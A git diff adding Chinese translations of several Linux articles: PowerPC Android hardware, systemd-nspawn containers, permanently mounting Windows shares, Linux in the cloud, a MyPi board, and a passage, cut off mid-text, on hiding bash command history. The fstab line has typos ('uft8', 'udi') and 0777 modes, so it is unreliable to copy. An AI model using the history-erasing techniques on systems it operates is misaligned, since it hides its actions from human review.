环境下的便携模式还未经测试且缺乏良好的文档支持,所以最终选择了 DVM 环境下的便携模式。 + +白皮书中还提及了其它的一些在移植过程中遇到的困难,包括重新开发工具链,重写脚本以解决 AOSP 对编译器标志“非标准”使用的问题。最终完成的移植版本提供了 37 个服务,以及提供了无界面的 Android 部署,在前端使用用户空间的模拟 UI。 + + +### 目标硬件 + +感谢来自 [eInfochips 博客日志][2] 的图片(如下图所示),让我们能够确认此 PowerPC 的 Android 移植项目的硬件平台。这个板卡为 [X-ES Xpedite 6101][3],它是一个加固级 XMC/PrPMC 夹层模组。 + +![](http://hackerboards.com/files/xes_xpedite6101-sm.jpg) + +*X-ES Xpedite 6101 照片和框图* + +X-ES Xpedite 6101 板卡拥有一个可选的 NXP 公司基于 QorIQ T 系列通信处理器(T2081、T1042 和 T1022),它们分别集成了 8 个、4 个和 2 个 e6500 核心,稍有不同的是,T2081 的处理器主频为 1.8GHz,T1042/22 的处理器主频为 1.4GHz。所有的核心都集成了 AltiVec SIMD 引擎,这也就意味着它能够提供 DSP 级别的浮点运算性能。所有以上 3 款 X-ES 板卡都能够支持最高 8GB 的 DDR3-1600 ECC SDRAM 内存。外加 512MB NOR 和 32GB 的 NAND 闪存。 + +![](http://hackerboards.com/files/nxp_qoriq_t2081_block-sm.jpg) + +*NXP T2081 框图* + +板卡的 I/O 包括一个 x4 PCI Express Gen2 通道,以及双工的千兆级网卡、 RS232/422/485 串口和 SATA 3.0 接口。此外,它可选 3 款 QorIQ 处理器,Xpedite 6101 提供了三种 [X-ES 加固等级][19],分别是额定工作温度 0 ~ 55°C, -40 ~ 70°C, 或者是 -40 ~ 85°C,且包含 3 类冲击和抗振类别。 + +此外,我们已经介绍过的基于 X-ES QorIQ 的 XMC/PrPMC 板卡包括 [XPedite6401 和 XPedite6370][20],它们支持已有的板卡级 Linux 、风河的 VxWorks(一种实时操作系统) 和 Green Hills 的 Integrity(也是一种操作系统)。 + + +### 更多信息 + +eInfochips Android PowerPC 移植白皮书可以[在此][4]下载(需要先免费注册)。 + +### 相关资料 + +- [Commercial embedded Linux distro boosts virtualization][5] +- [Freescale unveils first ARM-based QorIQ SoCs][6] +- [High-end boards run Linux on 64-bit ARM QorIQ SoCs][7] +- [Free, Open Enea Linux taps Yocto Project and Linaro code][8] +- [LynuxWorks reverts to its LynxOS roots, changes name][9] +- [First quad- and octa-core QorIQ SoCs unveiled][10] +- [Free white paper shows how Linux won embedded][11] +- [Quad-core Snapdragon COM offers three dev kit options][12] +- [Tiny COM runs Linux on quad-core 64-bit Snapdragon 410][13] +- [PowerPC based IoT gateway COM ships with Linux BSP][14] + + +-------------------------------------------------------------------------------- + +via: http://hackerboards.com/powerpc-gains-android-4-4-port-with-big-endian-support/ + +作者:[Eric Brown][a] +译者:[dongfengweixiao](https://github.com/dongfengweixiao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://hackerboards.com/powerpc-gains-android-4-4-port-with-big-endian-support/ +[1]: http://linuxdevices.linuxgizmos.com/low-cost-powerquicc-chips-offer-flexible-interconnect-options/ +[2]: https://www.einfochips.com/blog/k2-categories/aerospace/presenting-a-case-for-porting-android-on-powerpc-architecture.html +[3]: http://www.xes-inc.com/products/processor-mezzanines/xpedite6101/ +[4]: http://biz.einfochips.com/portingandroidonpowerpc +[5]: http://hackerboards.com/commercial-embedded-linux-distro-boosts-virtualization/ +[6]: http://hackerboards.com/freescale-unveils-first-arm-based-qoriq-socs/ +[7]: http://hackerboards.com/high-end-boards-run-linux-on-64-bit-arm-qoriq-socs/ +[8]: http://hackerboards.com/free-open-enea-linux-taps-yocto-and-linaro-code/ +[9]: http://hackerboards.com/lynuxworks-reverts-to-its-lynxos-roots-changes-name/ +[10]: http://hackerboards.com/first-quad-and-octa-core-qoriq-socs-unveiled/ +[11]: http://hackerboards.com/free-white-paper-shows-how-linux-won-embedded/ +[12]: http://hackerboards.com/quad-core-snapdragon-com-offers-three-dev-kit-options/ +[13]: http://hackerboards.com/tiny-com-runs-linux-and-android-on-quad-core-64-bit-snapdragon-410/ +[14]: http://hackerboards.com/powerpc-based-iot-gateway-com-ships-with-linux-bsp/ +[15]: http://linuxdevices.linuxgizmos.com/android-ported-to-powerpc/ +[16]: http://www.androidppc.com/ +[17]: http://hackerboards.com/quad-core-snapdragon-com-offers-three-dev-kit-options/ +[18]: https://sourceware.org/libffi/ +[19]: http://www.xes-inc.com/capabilities/ruggedization/ +[20]: http://hackerboards.com/high-end-boards-run-linux-on-64-bit-arm-qoriq-socs/ diff --git a/published/201607/20160621 Container technologies in Fedora - systemd-nspawn.md b/published/201607/20160621 Container technologies in Fedora - systemd-nspawn.md new file mode 100644 index 0000000000..69cbf688d8 --- /dev/null +++ b/published/201607/20160621 Container technologies in Fedora - systemd-nspawn.md @@ -0,0 +1,105 @@ +Fedora 中的容器技术:systemd-nspawn +=== + +欢迎来到“Fedora 中的容器技术”系列!本文是该系列文章中的第一篇,它将说明你可以怎样使用 Fedora 中各种可用的容器技术。本文将学习 `systemd-nspawn` 的相关知识。 + +### 容器是什么? + +一个容器就是一个用户空间实例,它能够在与托管容器的系统(叫做宿主系统)相隔离的环境中运行一个程序或者一个操作系统。这和 `chroot` 或 [虚拟机][1] 的思想非常类似。运行在容器中的进程是由与宿主操作系统相同的内核来管理的,但它们是与宿主文件系统以及其它进程隔离开的。 + +### 什么是 systemd-nspawn? + +systemd 项目认为应当将容器技术变成桌面的基础部分,并且应当和用户的其余系统集成在一起。为此,systemd 提供了 `systemd-nspawn`,这款工具能够使用多种 Linux 技术创建容器。它也提供了一些容器管理工具。 + +`systemd-nspawn` 和 `chroot` 在许多方面都是类似的,但是前者更加强大。它虚拟化了文件系统、进程树以及客户系统中的进程间通信。它的吸引力在于它提供了很多用于管理容器的工具,例如用来管理容器的 `machinectl`。由 `systemd-nspawn` 运行的容器将会与 systemd 组件一同运行在宿主系统上。举例来说,一个容器的日志可以输出到宿主系统的日志中。 + +在 Fedora 24 上,`systemd-nspawn` 已经从 systemd 软件包分离出来了,所以你需要安装 `systemd-container` 软件包。一如往常,你可以使用 `dnf install systemd-container` 进行安装。 + +### 创建容器 + +使用 `systemd-nspawn` 创建一个容器是很容易的。假设你有一个专门为 Debian 创造的应用,并且无法在其它发行版中正常运行。那并不是一个问题,我们可以创造一个容器!为了设置容器使用最新版本的 Debian(现在是 Jessie),你需要挑选一个目录来放置你的系统。我暂时将使用目录 `~/DebianJessie`。 + +一旦你创建完目录,你需要运行 `debootstrap`,你可以从 Fedora 仓库中安装它。对于 Debian Jessie,你运行下面的命令来初始化一个 Debian 文件系统。 + +``` +$ debootstrap --arch=amd64 stable ~/DebianJessie +``` + +以上默认你的架构是 x86_64。如果不是的话,你必须将架构的名称改为 `amd64`。你可以使用 `uname -m` 得知你的机器架构。 + +一旦设置好你的根目录,你就可以使用下面的命令来启动你的容器。 + +``` +$ systemd-nspawn -bD ~/DebianJessie +``` + +容器将会在数秒后准备好并运行,当你试图登录时就会注意到:你无法使用你的系统上任何账户。这是因为 `systemd-nspawn` 虚拟化了用户。修复的方法很简单:将之前的命令中的 `-b` 移除即可。你将直接进入容器的 root 用户的 shell。此时,你只能使用 `passwd` 命令为 root 设置密码,或者使用 `adduser` 命令添加一个新用户。一旦设置好密码或添加好用户,你就可以把 `-b` 标志添加回去然后继续了。你会进入到熟悉的登录控制台,然后你使用设置好的认证信息登录进去。 + +以上对于任意你想在容器中运行的发行版都适用,但前提是你需要使用正确的包管理器创建系统。对于 Fedora,你应使用 DNF 而非 `debootstrap`。想要设置一个最小化的 Fedora 系统,你可以运行下面的命令,要将“/absolute/path/”替换成任何你希望容器存放的位置。 + +``` +$ sudo dnf --releasever=24 --installroot=/absolute/path/ install systemd passwd dnf fedora-release +``` + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/Screenshot-from-2016-06-17-15-04-14.png) + +### 设置网络 + +如果你尝试启动一个服务,但它绑定了你宿主机正在使用的端口,你将会注意到这个问题:你的容器正在使用和宿主机相同的网络接口。幸运的是,`systemd-nspawn` 提供了几种可以将网络从宿主机分开的方法。 + +#### 本地网络 + +第一种方法是使用 `--private-network` 标志,它默认仅创建一个回环设备。这对于你不需要使用网络的环境是非常理想的,例如构建系统和其它持续集成系统。 + +#### 多个网络接口 + +如果你有多个网络接口设备,你可以使用 `--network-interface` 标志给容器分配一个接口。想要给我的容器分配 `eno1`,我会添加选项 `--network-interface=eno1`。当某个接口分配给一个容器后,宿主机就不能同时使用那个接口了。只有当容器彻底关闭后,宿主机才可以使用那个接口。 + +#### 共享网络接口 + +对于我们中那些并没有额外的网络设备的人来说,还有其它方法可以访问容器。一种就是使用 `--port` 选项。这会将容器中的一个端口定向到宿主机。使用格式是 `协议:宿主机端口:容器端口`,这里的协议可以是 `tcp` 或者 `udp`,`宿主机端口` 是宿主机的一个合法端口,`容器端口` 则是容器中的一个合法端口。你可以省略协议,只指定 `宿主机端口:容器端口`。我通常的用法类似 `--port=2222:22`。 + +你可以使用 `--network-veth` 启用完全的、仅宿主机模式的网络,这会在宿主机和容器之间创建一个虚拟的网络接口。你也可以使用 `--network-bridge` 桥接二者的连接。 + +### 使用 systemd 组件 + +如果你容器中的系统含有 D-Bus,你可以使用 systemd 提供的实用工具来控制并监视你的容器。基础安装的 Debian 并不包含 `dbus`。如果你想在 Debian Jessie 中使用 `dbus`,你需要运行命令 `apt install dbus`。 + +#### machinectl + +为了能够轻松地管理容器,systemd 提供了 `machinectl` 实用工具。使用 `machinectl`,你可以使用 `machinectl login name` 登录到一个容器中、使用 `machinectl status name`检查状态、使用 `machinectl reboot name` 启动容器或者使用 `machinectl poweroff name` 关闭容器。 + +### 其它 systemd 命令 + +多数 systemd 命令,例如 `journalctl`, `systemd-analyze` 和 `systemctl`,都支持使用 `--machine` 选项来指定容器。例如,如果你想查看一个名为 “foobar” 的容器的日志,你可以使用 `journalctl --machine=foobar`。你也可以使用 `systemctl --machine=foobar status service` 来查看运行在这个容器中的服务状态。 + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/Screenshot-from-2016-06-17-15-09-25.png) + +### 和 SELinux 一起工作 + +如果你要使用 SELinux 强制模式(Fedora 默认模式),你需要为你的容器设置 SELinux 环境。想要那样的话,你需要在宿主系统上运行下面两行命令。 + +``` +$ semanage fcontext -a -t svirt_sandbox_file_t "/path/to/container(/.*)?" +$ restorecon -R /path/to/container/ +``` + +确保使用你的容器路径替换 “/path/to/container”。对于我的容器 "DebianJessie",我会运行下面的命令: + +``` +$ semanage fcontext -a -t svirt_sandbox_file_t "/home/johnmh/DebianJessie(/.*)?" +$ restorecon -R /home/johnmh/DebianJessie/ +``` + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/container-technologies-fedora-systemd-nspawn/ + +作者:[John M. Harris, Jr.][a] +译者:[ChrisLeeGit](https://github.com/chrisleegit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/container-technologies-fedora-systemd-nspawn/ +[1]: https://en.wikipedia.org/wiki/Virtual_machine diff --git a/published/201607/20160624 How to permanently mount a Windows share on Linux.md b/published/201607/20160624 How to permanently mount a Windows share on Linux.md new file mode 100644 index 0000000000..1782a76241 --- /dev/null +++ b/published/201607/20160624 How to permanently mount a Windows share on Linux.md @@ -0,0 +1,123 @@ +如何在 Linux 上永久挂载一个 Windows 共享 +================================================== + +> 如果你已经厌倦了每次重启 Linux 就得重新挂载 Windows 共享,读读这个让共享永久挂载的简单方法。 + +![](http://tr2.cbsistatic.com/hub/i/2016/06/02/e965310b-b38d-43e6-9eac-ea520992138b/68fd9ec5d6731cc405bdd27f2f42848d/linuxadminhero.jpg) + +*图片: Jack Wallen* + +在 Linux 上和一个 Windows 网络进行交互从来就不是件轻松的事情。想想多少企业正在采用 Linux,需要在这两个平台上彼此协作。幸运的是,有了一些工具的帮助,你可以轻松地将 Windows 网络驱动器映射到一台 Linux 机器上,甚至可以确保在重启 Linux 机器之后共享还在。 + +### 在我们开始之前 + +要实现这个,你需要用到命令行。过程十分简单,但你需要编辑 /etc/fstab 文件,所以小心操作。还有,我假设你已经让 Samba 正常工作了,可以手动从 Windows 网络挂载共享到你的 Linux 机器,还知道这个共享的主机 IP 地址。 + +准备好了吗?那就开始吧。 + +### 创建你的挂载点 + +我们要做的第一件事是创建一个文件夹,他将作为共享的挂载点。为了简单起见,我们将这个文件夹命名为 share,放在 /media 之下。打开你的终端执行以下命令: + +``` +sudo mkdir /media/share +``` + +### 安装一些软件 + +现在我们得安装允许跨平台文件共享的系统;这个系统是 cifs-utils。在终端窗口输入: + +``` +sudo apt-get install cifs-utils +``` + +这个命令同时还会安装 cifs-utils 所有的依赖。 + +安装完成之后,打开文件 /etc/nsswitch.conf 并找到这一行: + +``` +hosts: files mdns4_minimal [NOTFOUND=return] dns +``` + +编辑这一行,让它看起来像这样: + +``` +hosts: files mdns4_minimal [NOTFOUND=return] wins dns +``` + +现在你需要安装 windbind 让你的 Linux 机器可以在 DHCP 网络中解析 Windows 机器名。在终端里执行: + +``` +sudo apt-get install libnss-windbind windbind +``` + +用这个命令重启网络服务: + +``` +sudo service networking restart +``` + +### 挂载网络驱动器 + +现在我们要映射网络驱动器。这里我们必须编辑 /etc/fstab 文件。在你做第一次编辑之前,用这个命令备份以下这个文件: + +``` +sudo cp /etc/fstab /etc/fstab.old +``` + +如果你需要恢复这个文件,执行以下命令: + +``` +sudo mv /etc/fstab.old /etc/fstab +``` + +在你的主目录创建一个认证信息文件 .smbcredentials。在这个文件里添加你的用户名和密码,就像这样(USER 和 PASSWORD 替换为实际的用户名和密码): + +``` +username=USER + +password=PASSWORD +``` + +你需要知道挂载这个驱动器的用户的组 ID(GID)和用户 ID(UID)。执行命令: + +``` +id USER +``` + +USER 是你的实际用户名,你应该会看到类似这样的信息: + +``` +uid=1000(USER) gid=1000(GROUP) +``` + +USER 是实际的用户名,GROUP 是组名。在(USER)和(GROUP)之前的数字将会被用在 /etc/fstab 文件之中。 + +是时候编辑 /etc/fstab 文件了。在你的编辑器中打开那个文件并添加下面这行到文件末尾(替换以下全大写字段以及远程机器的 IP 地址): + +``` +//192.168.1.10/SHARE /media/share cifs credentials=/home/USER/.smbcredentials,iocharset=uft8,gid=GID,udi=UID,file_mode=0777,dir_mode=0777 0 0 +``` + +**注意**:上面这些内容应该在同一行上。 + +保存并关闭那个文件。执行 sudo mount -a 命令,共享将被挂载。检查一下 /media/share,你应该能看到那个网络共享上的文件和文件夹了。 + +### 共享很简单 + +有了 cifs-utils 和 Samba,映射网络共享在一台 Linux 机器上简单得让人难以置信。现在,你再也不用在每次机器启动的时候手动重新挂载那些共享了。 + +更多网络提示和技巧,订阅我们的 Data Center 消息吧。 +[订阅](https://secure.techrepublic.com/user/login/?regSource=newsletter-button&position=newsletter-button&appId=true&redirectUrl=http%3A%2F%2Fwww.techrepublic.com%2Farticle%2Fhow-to-permanently-mount-a-windows-share-on-linux%2F&) + +-------------------------------------------------------------------------------- + +via: http://www.techrepublic.com/article/how-to-permanently-mount-a-windows-share-on-linux/ + +作者:[Jack Wallen][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.techrepublic.com/search/?a=jack+wallen diff --git a/published/201607/20160624 IT runs on the cloud and the cloud runs on Linux. Any questions.md b/published/201607/20160624 IT runs on the cloud and the cloud runs on Linux. Any questions.md new file mode 100644 index 0000000000..17af8d85d9 --- /dev/null +++ b/published/201607/20160624 IT runs on the cloud and the cloud runs on Linux. Any questions.md @@ -0,0 +1,63 @@ +IT 运行在云端,而云运行在 Linux 上。你怎么看? +=================================================================== + +> IT 正在逐渐迁移到云端。那又是什么驱动了云呢?答案是 Linux。 当连微软的 Azure 都开始拥抱 Linux 时,你就应该知道这一切都已经改变了。 + +![](http://zdnet1.cbsistatic.com/hub/i/r/2016/06/24/7d2b00eb-783d-4202-bda2-ca65d45c460a/resize/770xauto/732db8df725ede1cc38972788de71a0b/linux-owns-cloud.jpg) + +*图片: ZDNet* + +不管你接不接受, 云正在接管 IT 已经成为现实。 我们这几年见证了 [ 云在内部 IT 的崛起 ][1] 。 那又是什么驱动了云呢? 答案是 Linux 。 + +[Uptime Institute][2] 最近对 1000 个 IT 决策者进行了调查,发现约 50% 左右的资深企业 IT 决策者认为在将来[大部分的 IT 工作应该放在云上 ][3] 或托管网站上。在这个调查中,23% 的人认为这种改变即将发生在明年,有 70% 的人则认为这种情况会在四年内出现。 + +这一点都不奇怪。 我们中的许多人仍热衷于我们的物理服务器和机架, 但一般运营一个自己的数据中心并不会产生任何的经济效益。 + +很简单, 只需要对比你[运行在你自己的硬件上的资本费用(CAPEX)和使用云的业务费用(OPEX)][4]即可。 但这并不是说你应该把所有的东西都一股脑外包出去,而是说在大多数情况下你应该把许多工作都迁移到云端。 + +相应地,如果你想充分地利用云,你就得了解 Linux 。 + +[亚马逊的 AWS][5]、 [Apache CloudStack][6]、 [Rackspace][7]、[谷歌的 GCP][8] 以及 [ OpenStack ][9] 的核心都是运行在 Linux 上的。那么结果如何?截至到 2014 年, [在 Linux 服务器上部署的应用达到所有企业的 79% ][10],而 在 Windows 服务器上部署的则跌到 36%。从那时起, Linux 就获得了更多的发展动力。 + +即便是微软自身也明白这一点。 + +Azure 的技术主管 Mark Russinovich 曾说,仅仅在过去的几年内微软就从[四分之一的 Azure 虚拟机运行在 Linux 上][11] 变为[将近三分之一的 Azure 虚拟机运行在 Linux 上][12]。 + +试想一下。微软,一家正逐渐将[云变为自身财政收入的主要来源][13] 的公司,其三分之一的云产业依靠于 Linux 。 + +即使是到目前为止, 这些不论喜欢或者不喜欢微软的人都很难想象得到[微软会从一家以商业软件为基础的软件公司转变为一家开源的、基于云服务的企业][14] 。 + +Linux 对于这些专用服务器机房的渗透甚至比它刚开始的时候更深了。 举个例子, [Docker 最近发行了其在 Windows 10 和 Mac OS X 上的公测版本 ][15] 。 这难道是意味着 [Docker][16] 将会把其同名的容器服务移植到 Windows 10 和 Mac 上吗? 并不是的。 + +在这两个平台上, Docker 只是运行在一个 Linux 虚拟机内部。 在 Mac OS 上是 HyperKit ,在 Windows 上则是 Hyper-V 。 在图形界面上可能看起来就像另一个 Mac 或 Windows 上的应用, 但在其内部的容器仍然是运行在 Linux 上的。 + +所以,就像大量的安卓手机和 Chromebook 的用户压根就不知道他们所运行的是 Linux 系统一样。这些 IT 用户也会随之悄然地迁移到 Linux 和云上。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/article/it-runs-on-the-cloud-and-the-cloud-runs-on-linux-any-questions/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[chenxinlong](https://github.com/chenxinlong) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.zdnet.com/meet-the-team/us/steven-j-vaughan-nichols/ +[1]: http://www.zdnet.com/article/2014-the-year-the-cloud-killed-the-datacenter/ +[2]: https://uptimeinstitute.com/ +[3]: http://www.zdnet.com/article/move-to-cloud-accelerating-faster-than-thought-survey-finds/ +[4]: http://www.zdnet.com/article/rethinking-capex-and-opex-in-a-cloud-centric-world/ +[5]: https://aws.amazon.com/ +[6]: https://cloudstack.apache.org/ +[7]: https://www.rackspace.com/en-us +[8]: https://cloud.google.com/ +[9]: http://www.openstack.org/ +[10]: http://www.zdnet.com/article/linux-foundation-finds-enterprise-linux-growing-at-windows-expense/ +[11]: http://news.microsoft.com/bythenumbers/azure-virtual +[12]: http://www.zdnet.com/article/microsoft-nearly-one-in-three-azure-virtual-machines-now-are-running-linux/ +[13]: http://www.zdnet.com/article/microsofts-q3-azure-commercial-cloud-strong-but-earnings-revenue-light/ +[14]: http://www.zdnet.com/article/why-microsoft-is-turning-into-an-open-source-company/ +[15]: http://www.zdnet.com/article/new-docker-betas-for-azure-windows-10-now-available/ +[16]: http://www.docker.com/ + diff --git a/published/201607/20160624 Industrial SBC builds on Raspberry Pi Compute Module.md b/published/201607/20160624 Industrial SBC builds on Raspberry Pi Compute Module.md new file mode 100644 index 0000000000..cf916044a6 --- /dev/null +++ b/published/201607/20160624 Industrial SBC builds on Raspberry Pi Compute Module.md @@ -0,0 +1,78 @@ +用树莓派计算模块搭建的工业单板计算机 +===================================================== + +![](http://hackerboards.com/files/embeddedmicro_mypi-thm.jpg) + +在 Kickstarter 众筹网站上,一个叫 “MyPi” 的项目用树莓派计算模块制作了一款 SBC(LCTT 译注: Single Board Computer 单板计算机),提供一个 mini-PCIe 插槽,串口,宽范围输入电源,以及模块扩展等功能。 + +你也许觉得奇怪,都 2016 年了,为什么还会有人发布这样一款长得有点像三明治,用过时的 ARM11 构建的 COM (LCTT 译注: Compuer on Module,模块化计算机)版本的树莓派单板计算机:[树莓派计算模块][1]。原因是这样的,首先,目前仍然有大量工业应用不需要太多 CPU 处理能力,第二,树莓派计算模块仍是目前仅有的基于树莓派硬件的 COM,虽然更便宜、有点像 COM 并采用同样的 700MHz 处理器的 [零号树莓派][2] 也很类似。 + +![](http://hackerboards.com/files/embeddedmicro_mypi-sm.jpg) + +*安装了 COM 和 I/O 组件的 MyPi* + +![](http://hackerboards.com/files/embeddedmicro_mypi_encl-sm.jpg) + +*装入了可选的工业外壳中* + +另外,Embedded Micro Technology 还表示它的 SBC 还设计成可升级替换为支持的树莓派计算模块 —— 采用了树莓派 3 的四核、Cortex-A53 博通 BCM2837处理器的 SoC。因为这个产品最近很快就会到货,不确定他们怎么能及时为 Kickstarter 赞助者处理好这一切。不过,以后能支持也挺不错,就算要为这个升级付费也可以接受。 + +MyPi 并不是唯一一款新的基于树莓派计算模块的商业嵌入式设备。Pigeon Computers 在五月份启动了 [Pigeon RB100][3] 的项目,是一个基于 COM 的工业自动化控制器。不过,包括 [Techbase Modberry][4] 在内的这一类设备大都出现在 2014 年 COM 发布之后的一小段时间内。 + +MyPi 的目标是 30 天内筹集 $21,696,目前已经实现了三分之一。早期参与包的价格 $119 起,九月份发货。其他选项有 $187 版本,里面包含了价值 $30 的树莓派计算模块,以及各种线缆。套件里还有各种插件板以及工业外壳可选。 + +![](http://hackerboards.com/files/embeddedmicro_mypi_baseboard-sm.jpg) + +*不带 COM 和插件板的 MyPi 主板* + +![](http://hackerboards.com/files/embeddedmicro_mypi_detail-sm.jpg) + +*以及它的接口定义* + +树莓派计算模块能给 MyPi 带来博通 BCM2835 Soc,512MB 内存,以及 4GB eMMC 存储空间。MyPi 主板扩展了一个 microSD 卡槽,一个 HDMI 接口,两个 USB 2.0 接口,一个 10/100M 以太网口,还有一个像网口的 RS232 端口(通过 USB 连接)。 + +![](http://hackerboards.com/files/embeddedmicro_mypi_angle1-sm.jpg) + +*插上树莓派计算模块和 mini-PCIe 模块的 MyPi 的两个视角* + +![](http://hackerboards.com/files/embeddedmicro_mypi_angle2.jpg) + +*插上树莓派计算模块和 mini-PCIe 模块的 MyPi 的两个视角* + +MyPi 还将配备一个 mini-PCIe 插槽,据说“只支持 USB,以及只适用 mPCIe 形式的调制解调器”。还带有一个 SIM 卡插槽。板上还有双标准的树莓派摄像头接口,一个音频输出接口,自带备用电池的 RTC,LED 灯。还支持宽范围的 9-23V 直流输入。 + +Embedded Micro 表示,MyPi 是为那些树莓派爱好者们设计的,他们拼接了太多 HAT 外接板,已经不能有效地工作了,或者不能很好地装入工业外壳里。MyPi 支持 HAT,另外还提供了公司自己定义的 “ASIO” (特定应用接口)插件模块,它会将自己的 I/O 扩展到载板上,载板再将它们连到载板边上的 8针的绿色凤凰式工业 I/O 连接器(标记了“ASIO Out”)上,在下面图片里有描述。 + +![](http://hackerboards.com/files/embeddedmicro_mypi_io-sm.jpg) + +*MyPi 的模块扩展接口* + +就像 Kickstarter 页面里描述的:“比起在板边插满带 IO 信号接头的 HAT 板,我们更愿意把同样的 IO 信号接到另一个接头,它直接接到绿色的工业接头上。” 另外,“通过简单地延长卡上的插脚长度(抬高),你将来可以直接扩展 IO 集 - 这些都不需要任何排线!”Embedded Micro 表示。 + +![](http://hackerboards.com/files/embeddedmicro_mypi_with_iocards-sm.jpg) + +*MyPi 和它的可选 I/O 插件板卡* + +像上面展示的,这家公司为 MyPi 提供了一系列可靠的 ASIO 插卡,。一开始这些会包括 CAN 总线,4-20mA 传感器信号,RS485,窄带 RF,等等。 + +### 更多信息 + +MyPi 在 Kickstarter 上提供了 7 月 23 日到期的 79 英镑($119)早期参与包(不包括树莓派计算模块),预计九月份发货。更多信息请查看 [Kickstarter 上 MyPi 的页面][5] 以及 [Embedded Micro Technology 官网][6]。 + +-------------------------------------------------------------------------------- + +via: http://hackerboards.com/industrial-sbc-builds-on-rpi-compute-module/ + +作者:[Eric Brown][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Ezio](https://github.com/oska874) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://hackerboards.com/industrial-sbc-builds-on-rpi-compute-module/ +[1]: http://hackerboards.com/raspberry-pi-morphs-into-30-dollar-com/ +[2]: http://hackerboards.com/pi-zero-tweak-adds-camera-connector-keeps-5-price/ +[3]: http://hackerboards.com/automation-controller-runs-linux-on-raspberry-pi-com/ +[4]: http://hackerboards.com/automation-controller-taps-raspberry-pi-compute-module/ +[5]: https://www.kickstarter.com/projects/410598173/mypi-industrial-strength-raspberry-pi-for-iot-proj +[6]: http://www.embeddedpi.com/ diff --git a/published/201607/20160625 How to Hide Linux Command Line History by Going Incognito.md b/published/201607/20160625 How to Hide Linux Command Line History by Going Incognito.md new file mode 100644 index 0000000000..14bcdc2c7b --- /dev/null +++ b/published/201607/20160625 How to Hide Linux Command Line History by Going Incognito.md @@ -0,0 +1,126 @@ +如何隐藏你的 Linux 的命令行历史 +================================================================ + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/06/commandline-history-featured.jpg) + +如果你是 Linux 命令行的用户,有的时候你可能不希望某些命令记录在你的命令行历史中。原因可能很多,例如,你在公司担任某个职位,你有一些不希望被其它人滥用的特权。亦或者有些特别重要的命令,你不希望在你浏览历史列表时误执行。 + +然而,有方法可以控制哪些命令进入历史列表,哪些不进入吗?或者换句话说,我们在 Linux 终端中可以开启像浏览器一样的无痕模式吗?答案是肯定的,而且根据你想要的具体目标,有很多实现方法。在这篇文章中,我们将讨论一些行之有效的方法。 + +注意:文中出现的所有命令都在 Ubuntu 下测试过。 + +### 不同的可行方法 + +前面两种方法已经在之前[一篇文章][1]中描述了。如果你已经了解,这部分可以略过。然而,如果你不了解,建议仔细阅读。 + +#### 1. 在命令前插入空格 + +是的,没看错。在命令前面插入空格,这条命令会被 shell 忽略,也就意味着它不会出现在历史记录中。但是这种方法有个前提,只有在你的环境变量 `HISTCONTROL` 设置为 "ignorespace" 或者 "ignoreboth" 才会起作用。在大多数情况下,这个是默认值。 + +所以,像下面的命令(LCTT 译注:这里`[space]`表示输入一个空格): + +``` +[space]echo "this is a top secret" +``` + +如果你之前执行过如下设置环境变量的命令,那么上述命令不会出现在历史记录中。 + +``` +export HISTCONTROL = ignorespace +``` + +下面的截图是这种方式的一个例子。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/06/commandline-history-bash-command-space.png) + +第四个 "echo" 命令因为前面有空格,它没有被记录到历史中。 + +#### 2. 禁用当前会话的所有历史记录 + +如果你想禁用某个会话所有历史,你可以在开始命令行工作前简单地清除环境变量 HISTFILESIZE 的值即可。执行下面的命令来清除其值: + +``` +export HISTFILESIZE=0 +``` + +HISTFILESIZE 表示对于 bash 会话其历史文件中可以保存命令的个数(行数)。默认情况,它设置了一个非零值,例如在我的电脑上,它的值为 1000。 + +所以上面所提到的命令将其值设置为 0,结果就是直到你关闭终端,没有东西会存储在历史记录中。记住同样你也不能通过按向上的箭头按键或运行 history 命令来看到之前执行的命令。 + +#### 3. 工作结束后清除整个历史 + +这可以看作是前一部分所提方案的另外一种实现。唯一的区别是在你完成所有工作之后执行这个命令。下面是刚说到的命令: + +``` +history -cw +``` + +刚才已经提到,这个和 HISTFILESIZE 方法有相同效果。 + +#### 4. 只针对你的工作关闭历史记录 + +虽然前面描述的方法(2 和 3)可以实现目的,它们可以清除整个历史,在很多情况下,有些可能不是我们所期望的。有时候你可能想保存直到你开始命令行工作之间的历史记录。对于这样的需求,你开始在工作前执行下述命令: + +``` +[space]set +o history +``` + +备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。 + +上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。 + +要重新开启历史功能,执行下面的命令: + +``` +[Space]set -o history +``` + +它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。 + +#### 5. 从历史记录中删除指定的命令 + +现在假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。直接动手删除它们。通过下面的命令来删除: + +``` +history | grep "part of command you want to remove" +``` + +上面的命令会输出历史记录中匹配的命令,每一条前面会有个数字。 + +一旦你找到你想删除的命令,执行下面的命令,从历史记录中删除那个指定的项: + +``` +history -d [num] +``` + +下面是这个例子的截图。 + +![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2016/06/commandline-history-delete-specific-commands.png) + +第二个 ‘echo’命令被成功的删除了。 + +(LCTT 